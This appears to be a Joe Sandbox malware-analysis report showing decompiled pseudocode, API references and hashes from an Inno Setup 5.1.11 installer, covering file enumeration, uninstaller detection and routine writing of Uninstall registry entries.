0x004134ad
0x004134af
0x004134b5
0x004134b9
0x004134fc
0x004134fc
0x004134fd
0x004134fe
0x004134ff
0x00000000
0x00413501
0x00413501
0x00413502
0x00413504
0x00413505
0x00413506
0x00413507
0x00413507
0x00413508
0x00000000
0x0041350a
0x0041350a
0x00000000
0x0041350c
0x0041350c
0x0041350d
0x0041350e
0x0041350f
0x00413510
0x00000000
0x00413512
0x00413512
0x00413513
0x00413514
0x00413515
0x00413517
0x0041351a
0x0041351b
0x0041351d
0x0041351f
0x0041351f
0x00413520
0x00413521
0x00413522
0x00413524
0x00413525
0x00413526
0x00413528
0x0041352e
0x00413530
0x00413532
0x00413534
0x00413535
0x0041353a
0x0041353c
0x0041353e
0x00413540
0x00413545
0x0041354a
0x0041354c
0x0041354f
0x00413558
0x0041355b
0x00413563
0x00413565
0x00413566
0x00413567
0x00000000
0x00413567
0x00413522
0x00413510
0x0041350a
0x00413508
0x004134bb
0x004134bb
0x004134bd
0x004134c1
0x004134c2
0x004134c3
0x004134c5
0x004134c9
0x004134d1
0x004134d4
0x004134d7
0x004134da
0x004134e0
0x004134e2
0x004134e3
0x004134e6
0x004134e7
0x004134ea
0x004134eb
0x004134ed
0x004134ef
0x004134f5
0x004134f6
0x004134f6
0x004134f7
0x0041356c
0x0041356c
0x0041356f
0x00413571
0x00413572
0x00413573
0x00413573
0x00413579
0x0041357a
0x0041357b
0x0041357b
0x0041357d
0x0041357d
0x0041357f
0x00413582
0x00413583
0x00413584
0x00413584
0x00413585
0x00413585
0x0041358e
0x0041358f
0x00413593
0x004134f9
0x004134f9
0x0041356a
0x0041356a
0x0041356b
0x00000000
0x004134fb
0x004134fb
0x00000000
0x004134fb
0x004134f9
0x004134f7
0x00413597
0x0041359b
0x0041359e
0x0041359f
0x004135a1
0x004135a3
0x004135a9
0x004135ad
0x004135af
0x004135b1
0x004135b5
0x004135b6
0x004135b7
0x004135b9
0x004135bd
0x004135c5
0x004135c8
0x004135cb
0x004135ce
0x004135d4
0x004135d6
0x004135d7
0x004135da
0x004135dd
0x004135e0
0x004135e6
0x004135e7
0x004135e9
0x004135eb
0x004135ed
0x004135ed
0x004135f4
0x004135f5
0x0041364e
0x0041364e
0x0041365d
0x00413665
0x00000000
0x00413665
0x00000000
0x004135f7
0x004135fe
0x004135ff
0x00413600
0x00413607
0x00413608
0x0041366a
0x0041366c
0x00413678
0x00413678
0x0041367d
0x0041367d
0x00413682
0x0041368a
0x0041360a
0x0041360f
0x00413610
0x00413612
0x00413614
0x00413614
0x00413615
0x00413616
0x00413617
0x00413619
0x0041361a
0x0041361b
0x0041361d
0x00413620
0x00413623
0x00413624
0x00413625
0x00413628
0x00413630
0x00413636
0x00413648
0x0041364d
0x00000000
0x0041364d
0x00413617
0x00413608
0x0041368f
0x00413694
0x004136a6
0x004136b7
0x004136bd
0x004136cd
0x004136d5

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413648
GetWindowLongA.USER32 ref: 00413653
GetWindowLongA.USER32 ref: 00413665
SetWindowLongA.USER32(?,000000F4,?), ref: 00413678
SetPropA.USER32 ref: 0041368F
SetPropA.USER32 ref: 004136A6

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 0cf106467882055dbe94c3ead860931a5fd78163f14e972efc4ea3a04b9dec89
Instruction ID: cf3563636e1cedff00025660dc9b27ba04c2c96206d5fe0cb5bafc3f3c823d63
Opcode Fuzzy Hash: 0cf106467882055dbe94c3ead860931a5fd78163f14e972efc4ea3a04b9dec89
Instruction Fuzzy Hash: E5120F6108E3C05FE7278B34896A5D17F60EE2332572945DFC8C28F1A3D61D8A87C35A

Uniqueness

Uniqueness Score: -1.00%

Function 0047694C Relevance: 9.1, APIs: 6, Instructions: 149
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0047694C(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, char _a8, char _a12, intOrPtr _a16) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				struct _WIN32_FIND_DATAA _v344;
				char _v348;
				char _v352;
				void* _t62;
				signed char _t103;
				int _t106;
				intOrPtr* _t115;
				intOrPtr _t126;
				intOrPtr _t137;
				void* _t140;
				void* _t142;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t144 = _t145;
				_t146 = _t145 + 0xfffffea4;
				_v348 = 0;
				_v352 = 0;
				_v12 = 0;
				_v8 = __ecx;
				_t140 = __edx;
				_t142 = __eax;
				_t115 = _a4;
				_push(_t144);
				_push(0x476b48);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				_push(__eax);
				_push(__edx);
				_push(_v8);
				E0040364C();
				 *((intOrPtr*)(_t115 + 4)) = 0;
				 *_t115 = 0;
				_t62 = FindFirstFileA(E00403750(_v12),  &_v344); // executed
				_v16 = _t62;
				if(_v16 != 0xffffffff) {
					do {
						_t103 = _v344.dwFileAttributes;
						if((_t103 & 0x00000010) == 0 && (_a12 == 0 || (_t103 & 0x00000002) == 0)) {
							_v20 = _v344.nFileSizeHigh;
							_v24 = _v344.nFileSizeLow;
							E00430264(_t115,  &_v24);
						}
						_t106 = FindNextFileA(_v16,  &_v344); // executed
					} while (_t106 != 0);
					FindClose(_v16); // executed
				}
				if(_a8 == 0) {
					L14:
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0x476b4f);
					E00403438( &_v352, 2);
					return E00403418( &_v12);
				} else {
					E004034AC( &_v348, _t142);
					E00403594( &_v348, _t140);
					E00403594( &_v348, 0x476b60);
					_v16 = FindFirstFileA(E00403750(_v348),  &_v344);
					if(_v16 == 0xffffffff) {
						goto L14;
					} else {
						_push(_t144);
						_push(0x476b1b);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						do {
							if(E004749E4( &_v344) != 0) {
								E004034AC( &_v348, _t140);
								E00403574( &_v352, 0x104,  &(_v344.cFileName));
								E00403594( &_v348, _v352);
								E00403594( &_v348, 0x476b6c);
								E0047694C(_t142, _t115, _v8, _v348, _t140, _t142,  &_v24, _a8, _a12, _a16);
								E00430264(_t115,  &_v24);
							}
						} while (FindNextFileA(_v16,  &_v344) != 0);
						_pop(_t137);
						 *[fs:eax] = _t137;
						_push(0x476b22);
						return FindClose(_v16);
					}
				}
			}

0x0047694d
0x0047694f
0x0047695a
0x00476960
0x00476966
0x00476969
0x0047696c
0x0047696e
0x00476970
0x00476975
0x00476976
0x0047697b
0x0047697e
0x00476981
0x00476982
0x00476983
0x0047698e
0x00476995
0x0047699a
0x004769ac
0x004769b1
0x004769b8
0x004769ba
0x004769ba
0x004769c2
0x004769d4
0x004769dd
0x004769e5
0x004769e5
0x004769f5
0x004769fa
0x00476a02
0x00476a02
0x00476a0b
0x00476b22
0x00476b24
0x00476b27
0x00476b2a
0x00476b3a
0x00476b47
0x00476a11
0x00476a20
0x00476a2d
0x00476a3d
0x00476a53
0x00476a5a
0x00000000
0x00476a60
0x00476a62
0x00476a63
0x00476a68
0x00476a6b
0x00476a6e
0x00476a7b
0x00476a95
0x00476aab
0x00476abc
0x00476acc
0x00476adc
0x00476ae7
0x00476ae7
0x00476afc
0x00476b06
0x00476b09
0x00476b0c
0x00476b1a
0x00476b1a
0x00476a5a

APIs

FindFirstFileA.KERNEL32(00000000,?,?,00000000,?,00000000,00476B48,?,?,?,?,?,00477DAD,?,?,00000000), ref: 004769AC
FindNextFileA.KERNEL32(000000FF,?,00000000,?,?,00000000,?,00000000,00476B48,?,?,?,?,?,00477DAD,?), ref: 004769F5
FindClose.KERNEL32(000000FF,000000FF,?,00000000,?,?,00000000,?,00000000,00476B48,?,?,?,?,?,00477DAD), ref: 00476A02
FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,00000000,?,00000000,00476B48,?,?,?,?,?,00477DAD,?), ref: 00476A4E
FindNextFileA.KERNEL32(000000FF,?,00000000,00476B1B,?,00000000,?,00000000,?,?,00000000,?,00000000,00476B48), ref: 00476AF7
FindClose.KERNEL32(000000FF,00476B22,00476B1B,?,00000000,?,00000000,?,?,00000000,?,00000000,00476B48), ref: 00476B15

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 3053f33e83d26f5dd2dc2f2ef35ba46ff931bb5ab1e546c05bfbba5c9d5a1061
Instruction ID: 164123f14448f320d6c42e0560521e1476ff170c523e9342d175dc641b4a39d9
Opcode Fuzzy Hash: 3053f33e83d26f5dd2dc2f2ef35ba46ff931bb5ab1e546c05bfbba5c9d5a1061
Instruction Fuzzy Hash: 6C5150B1900A58AFCB10EF65CC45ADEBBBDEB49319F1084AAA408F7351D6389F45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0046E2D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96
fileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0046E2D4(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				struct _WIN32_FIND_DATAA _v328;
				char _v332;
				void* _t42;
				void* _t79;
				intOrPtr _t88;
				void* _t98;

				_v332 = 0;
				_v8 = 0;
				_push(_t98);
				_push(0x46e426);
				_push( *[fs:eax]);
				 *[fs:eax] = _t98 + 0xfffffeb8;
				E0042C3E0( *((intOrPtr*)(_a4 - 4)),  &_v332);
				E00403594( &_v332, "unins???.*");
				_t42 = FindFirstFileA(E00403750(_v332),  &_v328); // executed
				_t79 = _t42;
				if(_t79 == 0xffffffff) {
					L10:
					_pop(_t88);
					 *[fs:eax] = _t88;
					_push(0x46e42d);
					E00403418( &_v332);
					return E00403418( &_v8);
				} else {
					goto L1;
				}
				do {
					L1:
					E00403574( &_v8, 0x104,  &(_v328.cFileName));
					if(E0040358C(_v8) >= 9) {
						E00403790(_v8, 5, 1,  &_v332);
						if(E00406A24(_v332, 0x46e450) == 0 &&  *((intOrPtr*)(_v8 + 5)) + 0xd0 - 0xa < 0 &&  *((intOrPtr*)(_v8 + 6)) + 0xd0 - 0xa < 0 &&  *((intOrPtr*)(_v8 + 7)) + 0xd0 - 0xa < 0 &&  *((char*)(_v8 + 8)) == 0x2e) {
							E00403790(_v8, 3, 6,  &_v332);
							 *((char*)(_a4 + E00406D30(_v332, 3) - 0x3ec)) = 1;
						}
					}
				} while (FindNextFileA(_t79,  &_v328) != 0);
				FindClose(_t79);
				goto L10;
			}

0x0046e2e2
0x0046e2e8
0x0046e2ed
0x0046e2ee
0x0046e2f3
0x0046e2f6
0x0046e30c
0x0046e31c
0x0046e32d
0x0046e332
0x0046e337
0x0046e405
0x0046e407
0x0046e40a
0x0046e40d
0x0046e418
0x0046e425
0x00000000
0x00000000
0x00000000
0x0046e33d
0x0046e33d
0x0046e34b
0x0046e35b
0x0046e375
0x0046e38c
0x0046e3cf
0x0046e3e2
0x0046e3e2
0x0046e38c
0x0046e3f7
0x0046e400
0x00000000

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0046E426,?,?,00000001,00490044), ref: 0046E32D
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,0046E426,?,?,00000001,00490044), ref: 0046E3F2
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,0046E426,?,?,00000001,00490044), ref: 0046E400

Strings

unins, xrefs: 0046E380
unins???.*, xrefs: 0046E317

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: 833b26caf5b7b144d92e49203e51f79473f9e66891011dc246c0c32a21bd869d
Instruction ID: 1f636d784df305df79a4925b18bdd965b5089876ccef66dcc0799403659eae72
Opcode Fuzzy Hash: 833b26caf5b7b144d92e49203e51f79473f9e66891011dc246c0c32a21bd869d
Instruction Fuzzy Hash: DD3121755001089FDB10EB66C995ADEB7F8EF45318F5044B6F808E72A2EB389F818F59

Uniqueness

Uniqueness Score: -1.00%

Function 00450EA4 Relevance: 3.0, APIs: 2, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00450EA4(void* __eax, struct _WIN32_FIND_DATAA* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				char _v16;
				long _v20;
				void* _t13;
				intOrPtr _t27;
				void* _t35;
				void* _t37;
				intOrPtr _t38;

				_t35 = _t37;
				_t38 = _t37 + 0xfffffff0;
				if(E00450B68(__eax,  &_v16) != 0) {
					_push(_t35);
					_push(0x450f07);
					_push( *[fs:eax]);
					 *[fs:eax] = _t38;
					_t13 = FindFirstFileA(E00403750(__edx), __ecx); // executed
					_v8 = _t13;
					_v20 = GetLastError();
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(E00450F0E);
					return E00450BA4( &_v16);
				} else {
					_v8 = 0xffffffff;
					return _v8;
				}
			}

0x00450ea5
0x00450ea7
0x00450ebf
0x00450ecc
0x00450ecd
0x00450ed2
0x00450ed5
0x00450ee1
0x00450ee6
0x00450eee
0x00450ef3
0x00450ef6
0x00450ef9
0x00450f06
0x00450ec1
0x00450ec1
0x00450f20
0x00450f20

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00450F07,?,?,-00000001,00000000), ref: 00450EE1
GetLastError.KERNEL32(00000000,?,00000000,00450F07,?,?,-00000001,00000000), ref: 00450EE9

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 801f2f8ca07bbbcc7b558ae7b6b86898daa52264987799f65e11899b5ae55eaa
Instruction ID: e402c95933c7caa4badd4c344c5a78a7c0ffede8d16c763a03a8c81ae3a4f9d0
Opcode Fuzzy Hash: 801f2f8ca07bbbcc7b558ae7b6b86898daa52264987799f65e11899b5ae55eaa
Instruction Fuzzy Hash: 39F04936A04308AB8B10DFAA9C4149EF7ACEB4532576046BBFC14E3282DA785D04855C

Uniqueness

Uniqueness Score: -1.00%

Function 00408500 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408500(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				int _t5;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100); // executed
				_t19 = _t5;
				if(_t5 <= 0) {
					return E004034AC(_t10, _t18);
				}
				return E004034F8(_t10, _t5 - 1,  &_v260, _t19);
			}

0x0040850b
0x0040850d
0x0040851e
0x00408523
0x00408525
0x00000000
0x0040853d
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048F4C0,00000001,?,004085CB,?,00000000,004086AA), ref: 0040851E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 512d9064ee7cf322adfd682984fa7e4f2e5ff3eb3efe725be3721c9ea86e1f6e
Instruction ID: a2d33f1e2a7a8dadfdf8ab0f09016da465081aca7bb49ec91b321b6046be9dfe
Opcode Fuzzy Hash: 512d9064ee7cf322adfd682984fa7e4f2e5ff3eb3efe725be3721c9ea86e1f6e
Instruction Fuzzy Hash: 3CE0D87270022467D711A9595C82EF7725CA758320F40427FB949EB3C2EDB8DE8046ED

Uniqueness

Uniqueness Score: -1.00%

Function 00423B68 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424135,?,00000000,00424140), ref: 00423B92

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 86b7f73f4f050797268d1ba610a8bd6350cf71405e435be9bcb820f63a644bbd
Instruction ID: de139bda67f101720f6c8dae38c7f91a43546766bf252fe0be859a4b80536119
Opcode Fuzzy Hash: 86b7f73f4f050797268d1ba610a8bd6350cf71405e435be9bcb820f63a644bbd
Instruction Fuzzy Hash: F1F0C579205608AFCB40DF9DD588D4AFBE8FB4C260B158295B988CB325C234FE80CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00453688 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 0045369E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8f1efdc156ee4c16804148f4c428dcd924adfc09f3cade3e288c3f572785d406
Instruction ID: 8f348fcdb7fe5afc399bc0ff47d47662dfe62242c71b43ebe81c9e9d6bc10923
Opcode Fuzzy Hash: 8f1efdc156ee4c16804148f4c428dcd924adfc09f3cade3e288c3f572785d406
Instruction Fuzzy Hash: 12D0C2B160420067C301AEA9DC817AA71CC8B84352F14093F7C85CB3D3E67CCF4856AA

Uniqueness

Uniqueness Score: -1.00%

Function 0042EBCC Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042EBE8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 2a137401ba6476af777a2be49c349d531e42f716ea55b94127498db65349e7ef
Instruction ID: aec76960dbde7c44a52137df3fcf7df374967ee5e6a279fb202975c29c8d1344
Opcode Fuzzy Hash: 2a137401ba6476af777a2be49c349d531e42f716ea55b94127498db65349e7ef
Instruction Fuzzy Hash: 2FD05E7120010CABCB00CEA9E880C6F33AD9B88700BA08915F519CB201C234FC5187A4

Uniqueness

Uniqueness Score: -1.00%

Function 00468D1C Relevance: 63.4, APIs: 1, Strings: 35, Instructions: 382
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00468D1C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t123;
				intOrPtr _t124;
				void* _t128;
				intOrPtr _t129;
				void* _t130;
				intOrPtr _t222;
				intOrPtr _t235;
				intOrPtr _t239;
				intOrPtr* _t243;
				intOrPtr _t246;
				intOrPtr _t250;
				void* _t261;
				intOrPtr _t262;
				intOrPtr _t274;
				void* _t277;
				void* _t280;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				intOrPtr _t316;
				intOrPtr _t318;
				intOrPtr _t320;
				intOrPtr _t343;
				intOrPtr _t349;
				intOrPtr _t353;
				intOrPtr _t376;
				intOrPtr _t378;
				intOrPtr _t394;
				void* _t399;
				void* _t401;
				void* _t402;
				intOrPtr _t403;
				void* _t416;

				_t416 = __fp0;
				_t397 = __edi;
				_t401 = _t402;
				_t403 = _t402 + 0xffffffe0;
				_push(__edi);
				_v24 = 0;
				_v12 = 0;
				_v20 = 0;
				_t399 = __eax;
				_push(_t401);
				_push(0x469284);
				_push( *[fs:eax]);
				 *[fs:eax] = _t403;
				if( *0x490232 == 0) {
					_v8 = 0x80000001;
				} else {
					_v8 = 0x80000002;
				}
				_push("Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\");
				_push(_t399);
				_push("_is1");
				E0040364C();
				_t123 = E00403750(_v12);
				_t124 =  *0x48eb48; // 0x1, executed
				E0042DCC0(_t124, 0x490044, _t123, 0x80000001, _t397, _t399); // executed
				if( *0x490232 != 0) {
					_t261 = E00403750(_v12);
					_t262 =  *0x48eb48; // 0x1, executed
					E0042DCC0(_t262, 0x490044, _t261, 0x80000002, _t397, _t399); // executed
				}
				_t128 = E00403750(_v12);
				_t129 =  *0x48eb48; // 0x1, executed
				_t130 = E0042DBE4(_t129, _t128, _v8, 0,  &_v16, 0, 2, 0, 0, 0); // executed
				_t406 = _t130;
				if(_t130 != 0) {
					E00468AF8(1, 0x490044, _v12, _v8, _t397, _t399, _t406, _t130);
				}
				_push(_t401);
				_push(0x469235);
				_push( *[fs:eax]);
				 *[fs:eax] = _t403;
				E00468C14(_v16, "5.1.11", "Inno Setup: Setup Version", _t401); // executed
				if(( *0x0049015C & 0x00000004) == 0) {
					E00403418( &_v20);
				} else {
					_t394 =  *0x490204; // 0x23582d0
					E004034AC( &_v20, _t394);
				}
				E00468C14(_v16, _v20, "Inno Setup: App Path", _t401); // executed
				E0042C3E0(_v20,  &_v24);
				E00468C5C(_v16, _v24, "InstallLocation", _t401); // executed
				_t274 =  *0x490208; // 0x2358300
				E00468C14(_v16, _t274, "Inno Setup: Icon Group", _t401); // executed
				if( *0x49020c != 0) {
					E00468C84(_v16, "Inno Setup: No Icons", _t401);
				}
				E00453688( &_v24);
				E00468C14(_v16, _v24, "Inno Setup: User", _t401); // executed
				_pop(_t277);
				if( *0x490210 != 0) {
					_t243 =  *0x490210; // 0x0
					E00468C14(_v16,  *_t243, "Inno Setup: Setup Type", _t401);
					_t246 =  *0x490214; // 0x22f5910
					E00471248(_t246, 0x490044,  &_v24, _t397, _t399);
					E00468C14(_v16, _v24, "Inno Setup: Selected Components", _t401);
					_t250 =  *0x490218; // 0x22f593c
					E00471248(_t250, 0x490044,  &_v24, _t397, _t399);
					E00468C14(_v16, _v24, "Inno Setup: Deselected Components", _t401);
					_pop(_t277);
				}
				if( *0x49023d != 0) {
					_t235 =  *0x49021c; // 0x22f5968
					E00471248(_t235, 0x490044,  &_v24, _t397, _t399);
					E00468C14(_v16, _v24, "Inno Setup: Selected Tasks", _t401);
					_t239 =  *0x490220; // 0x22f5994
					E00471248(_t239, 0x490044,  &_v24, _t397, _t399);
					E00468C14(_v16, _v24, "Inno Setup: Deselected Tasks", _t401);
					_pop(_t277);
				}
				if(( *0x00490160 & 0x00000001) != 0) {
					_t316 =  *0x4901f8; // 0x0
					E00468C14(_v16, _t316, "Inno Setup: User Info: Name", _t401);
					_t318 =  *0x4901fc; // 0x0
					E00468C14(_v16, _t318, "Inno Setup: User Info: Organization", _t401);
					_t320 =  *0x490200; // 0x0
					E00468C14(_v16, _t320, "Inno Setup: User Info: Serial", _t401);
					_pop(_t277);
				}
				if( *0x00490084 == 0) {
					_t343 =  *0x490260; // 0x2306ea0
					E004034AC( &_v20, _t343);
				} else {
					E004737F0( *((intOrPtr*)(0x490084)), _t277,  &_v20);
				}
				E00403790(_v20, 0x3f, 1,  &_v24);
				E00468C14(_v16, _v24, "DisplayName", _t401); // executed
				_pop(_t280);
				E004737F0( *0x00490088, _t280,  &_v24);
				E00468C5C(_v16, _v24, "DisplayIcon", _t401);
				E004034AC( &_v24, 0x469494);
				_t349 =  *0x490028; // 0x2359b6c
				E00403594( &_v24, _t349);
				E00403594( &_v24, 0x469494);
				E00468C14(_v16, _v24, "UninstallString", _t401); // executed
				E004034AC( &_v24, 0x469494);
				_t353 =  *0x490028; // 0x2359b6c
				E00403594( &_v24, _t353);
				E00403594( &_v24, "\" /SILENT");
				E00468C14(_v16, _v24, "QuietUninstallString", _t401); // executed
				_pop(_t286);
				E004737F0( *0x00490064, _t286,  &_v24);
				E00468C5C(_v16, _v24, "DisplayVersion", _t401); // executed
				_pop(_t288);
				E004737F0( *0x00490054, _t288,  &_v24);
				E00468C5C(_v16, _v24, "Publisher", _t401); // executed
				_pop(_t290);
				E004737F0( *0x00490058, _t290,  &_v24);
				E00468C5C(_v16, _v24, "URLInfoAbout", _t401); // executed
				_pop(_t292);
				E004737F0( *0x0049005C, _t292,  &_v24);
				E00468C5C(_v16, _v24, "HelpLink", _t401); // executed
				_pop(_t294);
				E004737F0( *0x00490060, _t294,  &_v24);
				E00468C5C(_v16, _v24, "URLUpdateInfo", _t401); // executed
				_pop(_t296);
				E004737F0( *0x004900A0, _t296,  &_v24);
				E00468C5C(_v16, _v24, "Readme", _t401);
				_pop(_t298);
				E004737F0( *0x004900A4, _t298,  &_v24);
				E00468C5C(_v16, _v24, "Contact", _t401);
				_pop(_t300);
				E004737F0( *0x004900A8, _t300,  &_v24);
				E00468C5C(_v16, _v24, "Comments", _t401);
				_pop(_t302);
				E004737F0( *0x004900AC, _t302,  &_v20);
				if(_v20 == 0) {
					E00468C84(_v16, "NoModify", _t401); // executed
				} else {
					E00468C14(_v16, _v20, "ModifyPath", _t401);
				}
				E00468C84(_v16, "NoRepair", _t401); // executed
				E00468CB8( &_v24);
				E00468C14(_v16, _v24, "InstallDate", _t401); // executed
				_t414 =  *0x49027c;
				if( *0x49027c != 0) {
					_push(_t401);
					_push(0x4691fe);
					_push( *[fs:eax]);
					 *[fs:eax] = _t403;
					_v32 = _v16;
					_v28 = 0;
					_t222 =  *0x49027c; // 0x2329f3c
					E0048A06C(_t222,  &_v32, "RegisterPreviousData", _t414, _t416, 0, 0);
					_pop(_t378);
					 *[fs:eax] = _t378;
				}
				_pop(_t376);
				 *[fs:eax] = _t376;
				_push(0x46923c);
				return RegCloseKey(_v16);
			}

0x00468d1c
0x00468d1c
0x00468d1d
0x00468d1f
0x00468d24
0x00468d27
0x00468d2a
0x00468d2d
0x00468d30
0x00468d39
0x00468d3a
0x00468d3f
0x00468d42
0x00468d4c
0x00468d57
0x00468d4e
0x00468d4e
0x00468d4e
0x00468d5e
0x00468d63
0x00468d64
0x00468d71
0x00468d79
0x00468d85
0x00468d8a
0x00468d96
0x00468d9b
0x00468da7
0x00468dac
0x00468dac
0x00468dc4
0x00468dce
0x00468dd3
0x00468dd8
0x00468dda
0x00468de5
0x00468de5
0x00468dec
0x00468ded
0x00468df2
0x00468df5
0x00468e06
0x00468e13
0x00468e28
0x00468e15
0x00468e18
0x00468e1e
0x00468e1e
0x00468e39
0x00468e46
0x00468e56
0x00468e62
0x00468e6b
0x00468e78
0x00468e88
0x00468e8d
0x00468e92
0x00468ea2
0x00468ea7
